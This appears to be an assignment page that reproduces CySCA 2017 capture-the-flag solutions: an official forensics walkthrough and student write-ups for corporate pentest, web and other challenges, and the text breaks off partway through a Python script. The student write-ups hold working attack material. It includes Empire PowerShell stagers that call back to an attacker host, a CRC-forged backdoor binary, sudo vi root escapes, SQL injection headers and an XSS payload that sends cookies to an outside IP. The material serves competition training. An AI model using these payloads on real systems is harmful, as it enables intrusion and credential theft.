Assessment 3: Digital Forensic Report

profilelucky810
example.zip

CySCA2017_Forensics.pdf

© 2017 Cyber Security Challenge Australia CySCA 2017 – Forensics Solutions

2017

Forensics Solutions

Sponsored By

© 2017 Cyber Security Challenge Australia CySCA 2017 – Forensics Solutions 1 | P a g e

Table of Contents Challenge 1: Io ............................................................................................................................................................. 2

Challenge Description ..................................................................................................................................................................... 2 Writeup ........................................................................................................................................................................................... 2

Challenge 2: Europa ..................................................................................................................................................... 2 Challenge Description ..................................................................................................................................................................... 2 Writeup ........................................................................................................................................................................................... 2

Challenge 3: Ganymede ............................................................................................................................................... 2 Challenge Description ..................................................................................................................................................................... 2 Writeup ........................................................................................................................................................................................... 2

Challenge 4: Callisto ..................................................................................................................................................... 3 Challenge Description ..................................................................................................................................................................... 3 Writeup ........................................................................................................................................................................................... 3

Challenge 5: Enceladus................................................................................................................................................. 3 Challenge Description ..................................................................................................................................................................... 3 Writeup ........................................................................................................................................................................................... 3

Challenge 6: Titan ........................................................................................................................................................ 3 Challenge Description ..................................................................................................................................................................... 3 Writeup ........................................................................................................................................................................................... 3

Challenge 7: Iapetus .................................................................................................................................................... 4 Challenge Description ..................................................................................................................................................................... 4 Writeup ........................................................................................................................................................................................... 4

Challenge 8: Rhea ........................................................................................................................................................ 4

Challenge Description ..................................................................................................................................................................... 4 Writeup ........................................................................................................................................................................................... 4

Challenge 9: Dione ....................................................................................................................................................... 4 Challenge Description ..................................................................................................................................................................... 4 Writeup ........................................................................................................................................................................................... 4

Challenge 10: Tethys .................................................................................................................................................... 5 Challenge Description ..................................................................................................................................................................... 5 Writeup ........................................................................................................................................................................................... 5

© 2017 Cyber Security Challenge Australia CySCA 2017 – Forensics Solutions 2 | P a g e

Challenge 1: Io

Challenge Description What is the link that was used to compromise the user?

Writeup Using the PCAP provided, it is easy to identify that the IP address of the user is 192.168.26.138 and the

hostname is WIN-5OCDTVM44OB. Looking at requests made by that IP address, we see that the user logged into

their email via POP and downloaded an email with a PDF attachment.

This retrieval occurred at 2017-04-25 12:41:03Z

Extracting the attachment is easily accomplished by finding the TCP stream for the POP message retrieval (TCP

Stream 64), saving the Server-to-Client portion, and trimming out the BASE64 encoded PDF file.

Looking at the metadata for the PDF we can identify that it was modified about 12 hours before it was sent:

exiftool extract

XMP Toolkit : Adobe XMP Core 5.6-c015 81.157285, 2014/12/12-00:43:15

Producer : Microsoft® Word 2016

Format : application/pdf

Creator : Adekunle Abiodun

Creator Tool : Microsoft® Word 2016

Create Date : 2017:02:13 00:28:59-08:00

Modify Date : 2017:04:25 11:42:25+10:00

Metadata Date : 2017:04:25 11:42:25+10:00

Document ID : uuid:1F1FE5DC-AA50-4429-8309-B4D809008889

Instance ID : uuid:fcc1012f-b447-40f2-968f-7465c9f4ccc6

Author : Adekunle Abiodun

Using an analysis tool like PDFiD, we show that there isn't any "active" content in the document, so we are

looking at a more traditional "click-the-embedded-link" style phish, using a PDF to hide the link from email

based scanners.

If we parse the file with pdf-parser (also by Didier Stevens) we identify a number of links (URI's), which if we

search for in the PCAP, we see the one our user interacted with:

hxxp://miscemails[.]dyn[.]nerds[.]lu/miscemails.hta

Challenge 2: Europa

Challenge Description What is the SHA1 sum of the payload?

Writeup TCP Stream 72 is the HTTP request and download of the file, which occurred at 12:41:27Z

Extracting the HTA file using the Wireshark inbuilt HTTP object export, we get the miscemails.hta file, which

has a SHA1 has of 282cb147aa0a2d803a28c9fe0eff917dcbd5d39e.

Challenge 3: Ganymede

Challenge Description What is the process id of the infected process from this attack?

Writeup When executed, the HTA contains JavaScript that launches PowerShell to execute a stage 2. The Stage 2 launches

a second PowerShell binary that gets encoded shellcode injected into it via DLL Reflection.

At this point we turn our attention to the memory dump. Using the latest version of the Volatility Framework

© 2017 Cyber Security Challenge Australia CySCA 2017 – Forensics Solutions 3 | P a g e

(2.6), executing the "imageinfo" plugin against the dump file identifies the Operating System as Windows 7 SP1

64 bit. The dump was taken at 2017-04-25 12:49:38Z.

Running the "pstree" and "pslist" plugins we show that there are 3 running powershell processes, but only 2

with the parent-child relationship we would expect based on the script. Running the "netscan" plugin we find

that the PowerShell process running as PID 1272 has an established connection to 192.168.26.136 on port

4444. The launch time for this process is 2017-04-25 12:41:31Z.

Challenge 4: Callisto

Challenge Description What database tables have been stolen? List the names.

Writeup ** Note: In the pcap, we show the traffic over 4444 to this .136 host, but we also see a DHCP request from that IP,

with the hostname "kali" **

Now we have a time to pivot on, we can look at the machine in more depth. Here there are 3 plugins that will be

of most use - "mftparser", "usnparser", and "timeliner" (with registry extraction enabled)

Looking through the MFT and USNJournal timelines, we show that at 2017-04-25 12:41:51Z a file named

"temp\steal_table.bat" was created.

5 seconds later we see "data.sql", "employees.sql", and "security.sql" being created in the same folder.

A few seconds later at 2017-04-25 12:42:09Z, the 3 ".sql" files and the batch script are deleted.

Challenge 5: Enceladus

Challenge Description The attacker uploaded files for persistence. What are their names?

Writeup Scrolling further ahead, focusing on batch scripts being created, we can identify the file "bc2d.bat" being written

to disk at 2017-04-25 12:44:30Z, followed 2 seconds later by the file "bc2d.b4mee"

Using the "filescan" and "dumpfiles" plugins, we can retrieve the content of "

c:\users\john\appdata\local\bc2d.bat". All this shows is that the explorer shell is being used via the

"start" command to launch the file "c:\users\john\appdata\local\bc2d.b4mee".

Challenge 6: Titan

Challenge Description What is the registry key used to execute the last stage of the persisting malware?

Writeup Looking at the contents of the "bc2d.b4mee" file, all we see is "AAAA"... did our tools fail? was the file corrupted?

Not at all - if you pivot on the ".b4mee" in the timeline, you will see an entry in the UsrClass hives for ".b4mee".

These hives are used to control how windows executes files.

Using the "printkey" command to get the value of the ".b4mee" key in in the UsrClass hive, we get the value

"gf01".

Using this value as an pivot, we see the Key "HKSOFTWARE:Classes\gf01\shell\open\command" was written

just a few seconds after the UsrClass, which in turn was written to just a few seconds after the batch file.

Where it gets interesting is the value of the "HKSOFTWARE:Classes\gf01\shell\open\command" key - it is a

© 2017 Cyber Security Challenge Australia CySCA 2017 – Forensics Solutions 4 | P a g e

segment of obfuscated JavaScript, being executed by the mshta.exe utility.

With the junk variables removed, the command is show to read the value of another registry key

("HKCU:Software\Microsoft\mem") and "eval" its contents.

Challenge 7: Iapetus

Challenge Description The attacker thought they are using advanced obfuscation techniques being used throughout the registry. You

have to go deeper.

Writeup The referred to key is even further obfuscated JavaScript, this time protected by XOR. Using the simple method of

changing the final "eval" into a "document.write" and putting the code into a HTML document skeleton, we

get even more obfuscated PowerShell, which is very similar to that observed in the phish.

“LGAhfigmLhYntUjE6LpGBRTZHFJKJa”

Challenge 8: Rhea

Challenge Description 1. Look at unusual network traffic. Which protocols look out of the ordinary?

2. Somebody might have already created signatures ....

Writeup At this point of the investigation, you received an alert that a second attacker may have obtained a foothold on

the machine. On a hunch, you run the PCAP though a local snort instance running updated rules.

Starting at 2017-04-25 12:48:00Z, A number of "OS-WINDOWS Microsoft Windows SMB remote code execution attempt"

events are detected from the IP 192.168.26.133.

These are followed by "ET EXPLOIT Possible ETERNALBLUE MS17-010 Heap Spray" and "ET EXPLOIT Possible

ETERNALBLUE MS17-010 Echo Response".

Eventually at 12:46:16Z there is a detection for "ET EXPLOIT Possible DOUBLEPULSAR Beacon Response".

Looking up the CVE for ETERNALBLUE gives us CVE-2017-0143

Challenge 9: Dione

Challenge Description Which important windows process exhibits behavior that is not normal?

Writeup Going back to the memory image, we use the "malfind" plugin to identify possible injected code.

Though this we can identify 2 injected binaries in "lsass.exe" running as PID 480.

This is in line with some published analysis of attackers using ETERNALBLUE/DOUBLEPULSAR to inject into LSASS.

The injected binaries can be extracted using the "dlldump" plugin.

© 2017 Cyber Security Challenge Australia CySCA 2017 – Forensics Solutions 5 | P a g e

Challenge 10: Tethys

Challenge Description James reset his password over HTTP. Twisted ain't it.

Writeup

When we look at the packet capture, maybe search for JAMES, we will see the following conversation between

two hosts;

If you look at the streams, you will notice that /seed.php is being called and then /reset_password.php for

user ‘james’. Each of the calls returns a token. Assembling them we get 10 tokens.

1591983420

101133984

362997266

1495162757

448100195

1820519865

559679156

516208310

2026215813

1258990469

After we gather this info, there’s a last call to /set_password.php:

The response shows the source code.

Having the tokens and knowing that mt_rand is used, and also knowing how the password is generated, we now

understand that we need to get the seed and generate the next token. Then we combine them together and

that’s going to be the flag.

For this, we either write something of our own thing (INSANE) or use untwister, which is publicly available. You

can just run that like this:

© 2017 Cyber Security Challenge Australia CySCA 2017 – Forensics Solutions 6 | P a g e

It will be reasonably fast (16s) to get the seed. Then you just write a quick script to find the next (eleventh) token

in the series.

Concatenate the 11th token with the seed to get the flag:

1730480668863592

CySCA2017_Student_Solutions.pdf

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions

2017

Student Solutions Sponsored By

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 1 | P a g e

Table of Contents What is CySCA? ........................................................................................................................................................... 2

Results ........................................................................................................................................................................ 2 Winners of the 2017 Australian Cyber Challenge ........................................................................................................................... 2 Highest Scoring Team of First Year Students .................................................................................................................................. 2 Random Challenge - First to Complete the Boss of the SOC - Website Defacement– Informant .................................................. 2 Most Innovative Response - IoT ESP8266 Explain this! – Take a Peak ........................................................................................... 2 Corporate Penetration Testing Challenge ...................................................................................................................................... 2 Random Prize Draw - Solo Solvers – Detect and Defend ................................................................................................................ 2 First to Capture Most Difficult Exploitation Challenge - MOVpwn ................................................................................................. 2

Corporate Pen Test ...................................................................................................................................................... 3 Challenge 1: You've been SRVed .................................................................................................................................................... 3 Challenge 2: Cumulonimbus ........................................................................................................................................................... 3 Challenge 3: Get the HASH find the Treasure MAPI ....................................................................................................................... 5 Challenge 4: SUbterfuge ................................................................................................................................................................. 6

Web Application Pentest ............................................................................................................................................. 8 Challenge 1: Demo ......................................................................................................................................................................... 8 Challenge 2: Only in the upside-down ............................................................................................................................................ 8 Challenge 3: I see dead hackers...................................................................................................................................................... 9 Challenge 4: Dont hackers open inside ........................................................................................................................................ 10 Challenge 5: Hot coffee helps me sleep ....................................................................................................................................... 11 Challenge 6: Katy Perry my datacenter ........................................................................................................................................ 12 Challenge 7: My reset tokens are ready ....................................................................................................................................... 13 Challenge 8: Lampje ..................................................................................................................................................................... 15

Detect and Defend ..................................................................................................................................................... 16

Challenge 1: OZMA ....................................................................................................................................................................... 16 Challenge 2: It's Tic Toc. Not Tic Tap! ........................................................................................................................................... 17

Exploitation ............................................................................................................................................................... 18 Challenge 1: Eggs and Bacon ........................................................................................................................................................ 18 Challenge 2: Warmup ................................................................................................................................................................... 18 Challenge 3: MOVpwn .................................................................................................................................................................. 20

Forensics ................................................................................................................................................................... 22 Challenge 1: IO.............................................................................................................................................................................. 22 Challenge 2: Europa ...................................................................................................................................................................... 22 Challenge 3: Ganymede ................................................................................................................................................................ 23 Challenge 4: Callisto ..................................................................................................................................................................... 24 Challenge 5: Enceladus ................................................................................................................................................................. 25 Challenge 6: Tethys ...................................................................................................................................................................... 25

IoT ESP8266 ............................................................................................................................................................... 26 Challenge 1: Take a Peak .............................................................................................................................................................. 26 Challenge 2: Whoop Whoop Whoop ............................................................................................................................................ 26 Challenge 3: In Certs we Trust ...................................................................................................................................................... 28 Challenge 4: Sanitize All Inputs ..................................................................................................................................................... 29 Challenge 5: Not the Lock you’re looking for ............................................................................................................................... 29

Miscellaneous ........................................................................................................................................................... 30 Challenge 1: Python – In a Pickle .................................................................................................................................................. 30 Challenge 2: Python - Abstract Syntax Treat ................................................................................................................................ 31 Challenge 3: Web - Ninja Belts ..................................................................................................................................................... 33 Challenge 4: Web - Guestbook ..................................................................................................................................................... 33 Challenge 5: Follow the Traffic ..................................................................................................................................................... 34 Challenge 6: Protoverse................................................................................................................................................................ 36 Challenge 7: Strings - Reversing password ................................................................................................................................... 38 Challenge 8: Reversing – Needle .................................................................................................................................................. 39

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 2 | P a g e

What is CySCA? CySCA is a ‘hacking’ competition run by an alliance of Australian Government, business and academic professionals who are committed to finding the next generation of Australian cyber security talent – including you! Starting in 2012, CySCA will show you what it’s like to work in cyber security and will get your name in front of some of Australia’s most dynamic employers. CySCA is Australia’s only national cyber security competition. It runs over 24-hours and will test both your technical skills and communication know-how. It’s not easy, but it’s heaps of fun, and the opportunities you get from participating are fantastic. Think you’re up for the Challenge?

Results Winners of the 2017 Australian Cyber Challenge

1. University of NSW (UNSW1) - 4002 points 2. Monash University Team 1 (MONU1) - 2938 points 3. Edith Cowan University (ECU1) - 2772 points 4. Australian National University (ANU1) - 2726 points 5. Monash University (MONU3) - 1986 points 6. University of New South Wales (UNSW2) - 1935 points 7. University of New South Wales (UNSW3) - 1773 points 8. Royal Melbourne Institute of Technology (RMIT2) - 1605 points 9. Monash University (MONU2) - 1596 points 10. Macquarie University (MQU3) - 1549 points

Highest Scoring Team of First Year Students • Griffith University (GRIU1)

Random Challenge - First to Complete the Boss of the SOC - Website Defacement– Informant • Queensland University of Technology (QUT1)

Most Innovative Response - IoT ESP8266 Explain this! – Take a Peak • Murdoch University (MUR1)

Corporate Penetration Testing Challenge • Australian National University (ANU1)

Random Prize Draw - Solo Solvers – Detect and Defend • University of Sydney (UOS2)

First to Capture Most Difficult Exploitation Challenge - MOVpwn • University of Sydney (UOS1)

You can view the final scoreboard over at CySCA 2017 - Scoreboard .

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 3 | P a g e

Corporate Pen Test

Challenge 1: You've been SRVed Challenge Description

Recover the list of external systems on the TICTOC corporate network. The initiative's DNS domain is tictoc.cysca.

Writeups

UTS1 nslookup on the domain reveals the name server. attempt zone transfer on nameserver, this is successful.

we see a SRV resource record for the flag.

Attempt to open a UDP socket on port 34352 as show in the RR.

flag is revealed

UOS1 The tictoc.cysca name server is misconfigured to allow zone transfers. Using dig to perform the transfer, we

leak the existence of a _flag service hosted at axfrflag.tictoc.cysca. [*] SRV _flag._UDP.tictoc.cysca axfrflag 34532 10 no_ip

connecting to the UDP service at axfrflag.tictoc.cysca:34532 presents us with the flag.

TNSWM3 We ran dnsrecon, and dig and found an axfr record called flag on UDP Port 34532

We then ran an nmap against it

nmap -A -sU -p 34532 -g 53 axfrflag.tictoc.cysca -P0

MONU4 Performa a domain transfer (AXFR) on tictoc.cysca using dig (dig -t axfr tictoc.cysca

@ns.tictoc.cysca), which reveals the _flag._UDP service, running on axfrflag.tictoc.cysca on port

34532. Connect to that port using netcat (netcat -u axfrflag.tictoc.cysca 34532), to receive the flag.

RMIT3 1. Used the `dig` command to dig into the tictoc.cysca domain

2. Analysed the SRV record

3. Used `nc` to listen for UDP packets on the SRV record URL

4. Pressed enter

5. Flag revealed! :')

Challenge 2: Cumulonimbus Challenge Description

Assess the FTP server, is it sharing more than it should. Can this be leveraged to gain root.

Writeups

UNSW1 The FTP server allows anonymous login and has a copy of WinSCP with a helpful .ini file alongside.

The .ini file contains a password, but in some kind of obfuscated format.

I grabbed a local copy of WinSCP, gave it the .ini file, and told it to log passwords as it used then, then used that

copy of WinSCP to connect to the ftp server as mctarget.

mctarget has sudo access to a limited list of commands, in particular vi, limited to certain paths

by opening a vi session sudo /usr/bin/vi /var/ftproot/a (which spawns as root), you can then easily run

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 4 | P a g e

:!sh, the vi/vim command for opening a shell, thus giving a root shell

then it's just cat /root/flag.txt

ECU1 Get scp.ini, decode password, use password for SSH

Privesc:

open vi in writable folder: /var/ftp/blah or somesuch

escape vi with :!bash

cat flag.txt, behappy

MONU1 First, we did an anonymous login on the ftp server in browser.

looking through the files, we found a WinSCP client with a WinSCP.ini

We realised that the credentials for mctarget were stored in the .ini file.

Running the client with the .ini file gives us the credential by logging it S0Str0ng!N0tFl@gTh0

Once logged into SSH, we ran sudo -l to list the available sudo commands. This gives:

Matching Defaults entries for mctarget on ftp: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User mctarget may run the following commands on ftp:

(ALL : ALL) !ALL

(root) /usr/bin/vi /var/ftproot/[A-Za-z0-9_-]*, !/usr/bin/vi */..*, !/usr/bin/vi /var/ftproot/, !/usr/bin/vi

*/.,

!/usr/bin/vi * *

So we can run vi as root on files in the ftproot! So, we ran "sudo /usr/bin/vi

/var/ftproot/Printing/IoT_Design_test.png" which opens up vi as root. Now we can do :sh and that

gives us a root shell. Running cd ~ takes us home, and ls lists files, and there's a flag.txt, so we cat

flag.txt.

FLINU1 We ran an nmap -sV scan over ftp.tictoc.cysca from the DNS recon stage.

This showed the ftp server running on the host allowed anonymous login.

We then logged in downloaded various configuration files and found WinSCP.ini.

In the bottom of the file was an encrypted password and username.

We then downloaded winscppasswd.exe which we used to retrieve that plain text password.

When then used that password and the username to SSH into the host.

We then ran sudo -l we detailed the commands we could run as root.

We discovered we could run sudo /var/ftproot/temp/23ohgn2d.tmp.

Once we were in vi we used :sh which gave us a root shell.

Then we used cat /root/flag.txt to reveal the flag.

UOM1 We start with the host ftp.tictoc.cysca. That means we can expect there to be an FTP server running on

port 21. We confirm with nmap and find there is also an SSH server running on port 22.

So, we try to log in with the anonymous credentials and find out we have permissions to view a lot of files we

should not be able to view. Two particularly interesting examples are the PuTTY and WinSCP directories.

We view the .ini file WinSCP.ini and scroll down to discover the password is saved and there is no master

password, meaning we can easily just decrypt it into S0Str0ng!N0tFl@gTh0 given the host of

ftp.tictoc.cysca and the user of mctarget.

We can use these credentials to SSH into the box. We run sudo -l to find out what we can do, and realise

we can run vi as root using sudo in the /var/ftproot directory.

This is great, because if we can run vi as root, we can use the command :sh to get a privileged shell in vi.

We do this, cd to /root, and cat the flag.txt file to find the flag.

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 5 | P a g e

Challenge 3: Get the HASH find the Treasure MAPI Challenge Description

Now you have full access to the ftp server you can see files you couldn't before, what else is available to you? and can you use it get a user's hash and pivot to the workstation?

Writeups

UNSW1 Searching around the box revealed Samba's password database, where madisonw's password was stored

(hashed, but a very weak password easily cracked via a dictionary attack), examining the PST file located in

madison's directory also pointed towards a mail server.

There was a mail server in the DNS records, and a quick run of dirbuster showed that it was running a copy

of exchange

Using madisonw's credentials and sensepost's "ruler" tool, it was possible to configure madison's outlook

client in such a way that when receiving mail, it would automatically call a binary located on the FTP server's

samba share (which was backdoored and called home for a nice shell)

MONU1 Once we had full root access, we changed the root password and allowed SSH password logins for root so

we didn't have to do everything through vi ;)

Then we went into the FTP root folder and the home/madisonw folder since we were not allowed to access

this before. In here we found an Outlook backup file with some emails from Madison to others in the company.

Importantly, one of them involved her having an SMB share mounted on her computer that pointed to this

server.

netstat -ant confirmed that there was indeed something connecting to this server from 10.10.5.100.

Since this is SMB, we thought that we could somehow grab her password hash.

Looking in /etc/samba/smb.conf, there is nothing special about where the passwords are stored, so we

assumed the default. Running "pdbedit -s /etc/samba/smb.conf -L -w" gives:

mctarget:1002:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:74D9349DA6D684E0D9ADC303DB64B9EA:[DU ]:LCT-58AECC49:

madisonw:1003:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:2B2AC2D1C7C8FDA6CEA80B5FAD7563AA:[U ]:LCT-58F4BC08:

So madison's password hash is 2B2AC2D1C7C8FDA6CEA80B5FAD7563AA! Putting this into hashkiller.co.uk gives her

password as "computer". There are quite a few hints about using the mail server, so we remembered from the

zone transfer that there's a mail.tictoc.cysca and on https it's running OWA. Googling around a bit for MAPI,

we came across "ruler" which promised to give me a shell - that's pretty cool!

We fired up Empire to create a PowerShell listener on our Kali box, and generated a VBS payload to connect

back to us:

CreateObject("Wscript.Shell").Run "PowerShell.exe -NoP -sta -NonI -W Hidden -Enc

WwBTAFkAUwB0AGUAbQAuAE4ARQB0AC4AUwBFAFIAdgBpAGMARQBQAG……..OAEwATwBhAGQAUwBUAFIASQBuAEcAKAAiAGgAdAB0AHAAOgAvAC8

AMQA5ADIALgAxADYAOAAuADUALgAxADAAMAA6ADgAMAAwADEALwBpAG4AZABlAHgALgBhAHMAcAAiACkAKQApAHwAJQB7ACQAXwAtAGIAWABPA

HIAJABLAFsAJABpACsAKwAlACQAawAuAEwAZQBOAGcAVABIAF0AfQA7AEkARQBYACAAKAAkAGIALQBqAE8ASQBuACcAJwApAA==", 0, False

Then we used

./ruler --username madisonw --password computer --email [email protected] --

insecure --verbose --URL https://autodiscover.tictoc.cysca/autodiscover/autodiscover.xml

form add --suffix superduper3 --input command.txt --send --rule

in ruler to trigger the shell popping goodness. And sure enough, we get a connection back to us. Listing the

contents of Madison's home folder shows that there's a flag.txt on the Desktop.

type on this file gives the flag.

ECU1 Checked out the ftp box, noticed madisonw's directory full of stuff, including a PST. Opened PST, noticed

talked about mapping shares. Found AV thing, probably means that her box is AV'd good. Spent a bit of time

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 6 | P a g e

working out what is what, noticed SMB enabled - figured smb was on this box for the mapping things - which

means smb creds!.

Used responder to obtain smb creds, and cracked. Got confused for hours, googled MAPI exploit, ruler was

the only result. Spent a bit of time looking at how to make it work, battled picky arguments, but eventually got

it working by specifying URL and actually getting the username/email right. cmd shells didn't seem to be

working (maybe AV?) so had to resort to shellter :(. Got shell, got flag. Happy.

ANU1 The database of SMB hashes for each user was found on the FTP server, using the previously escalated

privileges, and cracked. This gave us credentials for madisonw's Outlook Web App account. Using a tool

named "ruler", we added a mailprocessing rule to her account which would execute a reverse shell payload

on the server granting us access.

Challenge 4: SUbterfuge Challenge Description

Can you get System() on the workstation by poorly configured custom scripts.

Writeups

ANU1 The auto backup script checked the CRC32 of the Backup.exe file, however this hash is simple to collide with,

and Backup.exe was writable by regular users (such as madisonw's account), so a reverse shell was

modified to have the required CRC and written to Backup.exe;

giving shell as each user who runs the script. As mctarget's account is an Administrator, the shell running as

his user was used to retrieve the flag.

MONU1 From the previous challenge we were on the WORKSTATION as Madison. Running "schtasks.exe" shows

the scheduled tasks that have been created, and there is one that runs for madison. Looking around the

filesystem we see that in C:\AutoBackup there are some interesting files. Importantly, there's Backup.exe

and RunBackup.ps1.

It seems like the scheduled task gets run as each user and invokes RunBackup.ps1. We can't write to

RunBackup.ps1, so modifying it to be malicious directly is not possible. What it does is execute Backup.exe

only if the CRC matches.

We CAN write to Backup.exe, so all we have to do is generate a malicious Backup.exe and change its CRC

to match 0x93C051C2. This is pretty trivial with only 4 bytes needing to be modified due to the way CRC

works. We generated a stager with Empire and created a new Backup.exe with this code:

int main()

{

system("PowerShell.exe -NoP -sta -NonI -W Hidden -Enc Enc

WwBTAFkAUwB0AGUAbQAuAE4ARQB0AC4AUwBFAFIAdgBpAGMARQBQAG……..OAEwATwBhAGQAUwBUAFIASQBuAEcAKAAiAGgAdAB0AHAAOgAvAC8

AMQA5ADIALgAxADYAOAAuADUALgAxADAAMAA6ADgAMAAwADEALwBpAG4AZABlAHgALgBhAHMAcAAiACkAKQApAHwAJQB7ACQAXwAtAGIAWABPA

HIAJABLAFsAJABpACsAKwAlACQAawAuAEwAZQBOAGcAVABIAF0AfQA7AEkARQBYACAAKAAkAGIALQBqAE8ASQBuACcAJwApAA==");

return 0;

}

Using the program from https://GitHub.com/rr-/CRC-manipulator we just give the compiled version,

and tell it what CRC we want, and it adds bytes to the end of the file to make it so. Once the spoofed binary is

created, it is uploaded through the Empire shell to the workstation and replaces the original Backup.exe.

After a minute or so, the scheduled task runs as markmctarget and executes our malicious binary, giving us a

shell as him. Running usemodule privesc/getsystem from mark's shell escalates us to SYSTEM, and we

can cat C:\flag\flag.txt to retrieve the flag.

UNSW1 Exploring my newfound shell, the /AutoBackup directory looked interesting, a cursory examination showed

that it was a binary being regularly executed by different users, and was world writable, easy to replace!

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 7 | P a g e

Not so fast though, they actually call a wrapper that checks the CRC32 hash of the file to ensure that it hasn't

been tampered with.

CRC32 is not a cryptographically secure hash though, so using the forceCRC32.py script I was able to easily

create a hash collision, and replace the Backup.exe binary with one of my own, that would call back home

like a nice little process, now operating under the new privileges of the user that called it.

markmctarget is one such user, who also has Administrative privileges. A simple call to meterpreter's

getsystem was enough to succeed and get SYSTEM privileges, and easily access the flag

ECU1 Found backup script being run as admin, the binary that it was targeting had write privs. Replace binary with

backdoored version (and use https://www.nayuki.io/page/forcing-a-files-crc-to-any-value to

make the CRC pass the integrity check) and get system :D

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 8 | P a g e

Web Application Pentest

Challenge 1: Demo Challenge Description

True hackers view the world in code

Writeups

GRIU1 Found demo,demo as a comment at the end of the page source.

Used this as username and password to log in.

QUT1 Step 1 Looked at the Source Code.

Step 2 Found Comment

Step 3 ??????

Step 4 profit

UOM1 The developer of the site forgot to remove a comment with the login details from the source code of the site

before deploying to prod. Using this to log in, the flag is on the top of the site.

UOQ2 Username, password demo:demo shown in html source code (as comment) at foot of page.

CU3 demo:demo was left in the comments

Challenge 2: Only in the upside-down Challenge Description

Can you gain access to the DC.

Writeups

SWIN2 Upon inspecting the source code, a set of <script> tags are found within the page. Careful inspection of the

script tags shows that one of them contains the behaviour of the activation button.

if(code === "2efc7f9bb6c3c2184a1caf53fad52dcc07cb5239".split("").reverse().join("")) demonstrates the

expected input. Upon splitting and reversing the set of characters, the activation code is found. This reveals

the Flag on the next page

UNE1 Looked at source code of /dashboard and noticed the code is in plain text. To enter the activation code, it

simple needed to be reversed as noted in the source code.

UNSW4 Reading the source code, reveals the activation code is the string "2efc7f9bb6c3c2184a1caf53fad52dcc07cb5239" in

reverse. Entering the reversed string as the code, reveals the flag.

TNSWW2 In the JavaScript,the activation code is checked against 2efc7f9bb6c3c2184a1caf53fad52dcc07cb5239.split("").reverse().join("")

Copied this string and ran .split("").reverse().join("") on it via JS Console to get the required code.

MQU2 Entering any code whatsoever into the activation field leads to it being echoed into the JavaScript console.

Chrome provides me a nice link into the code that logged that into the console. I immediately saw the

activation code in almost plain sight. It was just reversed.

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 9 | P a g e

I copied the string with the .split().reverse().join() into the chrome JavaScript console and retrieved the

activation code. After entering it into the activation field the software was registered

Challenge 3: I see dead hackers Challenge Description

I hate injections

Writeups

ANU4 By looking at the source code, I noticed that there's an AJAX request sending "X-Browser" header, I tried to

remove this header and the response gives different result (client_supported_browsers changes from [] to

"Unknown").

It's probably using something like "SELECT * FROM table WHERE column = '{$_SERVER['X-Browser']}" to extract data,

I tried to send the header with the value "' or 1=1--" which gives a list of supported browsers!

However there's no password/flags in it. So, I thought the most common table name to store user credentials

will be user/users, I tried "\' or 1=1 UNION SELECT username, password FROM users--" and it then gives the

username and password.

ECU1 1. Inject SQL into header using SQLmap

2. Crack hash obtained through --dump-all argument

3. Login

4. flag get

UNSW1 GET /api/public/status HTTP/1.1

Host: 10.13.37.210:8003

Pragma: no-cache

Cache-Control: no-cache

X-Browser: chrome' UNION select username,password FROM Users;--

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/58.0.3029.110 Safari/537.36

Origin: http://admin-panel.cysca

Referer: http://admin-panel.cysca/ipcam/ipcam

Accept-Language: en-US,en;q=0.8

Connection: close

Pop SQL injection with the X-Browser header. Crack the hash using online database;

https://hashkiller.co.uk/md5-decrypter.aspx

MONU2 1. Found the injection point using burp, for x-header, this was iterated using a simple word list to see if it was

injectable.

2. Save the request to a file, to give to SQLmap, you can flag a header item with * and it'll try to inject on it.

3. SQLmap -r request --level=5 --dump-all --threads=4

4. Find the hash and try to see if it exists in a cracked database, it does https://hashkiller.co.uk/md5-

decrypter.aspx

5. Login and get flag :)

MONU1 Looking at the HTTP headers for the /api/public/status request we see that there is a X-Browser header

being passed. Looking at the hint we see that we may need to do injection. WE realised that the header was

vulnerable to SQL injection and the DB is running SQLite.

running the request through SQLmap we get the Users table with the username and hash

admin:51f9f6bef7b3d88f28bcf7b95f81ec72 which translates to MD5 : P@ssw0rd2016

putting the password in the challenge we get the flag

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 10 | P a g e

Challenge 4: Dont hackers open inside Challenge Description

Nothing is safe

Writeups

UNSW1 brute force. best force. and then XSS your device id

import requests

base = "http://10.13.37.210:8004/api/"

def turn(amount):

req = requests.post(base + "public/turn?amount=" + str(amount))

print(req.json())

return req.json()

def status():

req = requests.get(base + "public/status")

print(req.json())

return req.json()

ticks = 50

def rotate_right(rotations, cur, target):

shift = ticks * (rotations - 1)

res = cur - target

shift += (50 - cur) % 50

shift += target

return shift

def rotate_left(rotations, cur, target):

shift = ticks * (rotations)

shift -= ((ticks + target) - cur) % 50

return -shift

def get_position():

return status()['dialPos']

def unlock():

payload = """<script>document.location="http://192.168.5.101/"%2bdocument.cookie;</script>"""

r = requests.get(base + "public/unlock?deviceId="+payload)

return r.text

def lock():

r = requests.get(base + "public/lock")

return r.text

targets = [5, 15, 25, 35, 45]

#targets = [4, 12, 20, 28, 36, 44, 50]

#targets = [3, 9, 15, 21, 27, 33, 39, 45]

def brute():

for a in targets:

for b in targets:

for c in targets:

if (a, b, c) == (5, 15, 35):

continue

if (a, b, c) == (15, 15, 35):

continue

if (a, b, c) == (25, 15, 35):

continue

if (a, b, c) == (35, 15, 35):

continue

if (a, b, c) == (45, 15, 35):

continue

print("Trying : %d, %d, %d" % (a, b, c))

turn(rotate_left(4, get_position(), a))

turn(rotate_right(3, get_position(), b))

turn(rotate_left(2, get_position(), c))

turn(35)

res = unlock()

if 'true' in res:

print("KK WE GOOD %d, %d, %d" % (a, b, c))

print(res)

print(status())

def win(first):

turn(rotate_left(4, get_position(), first))

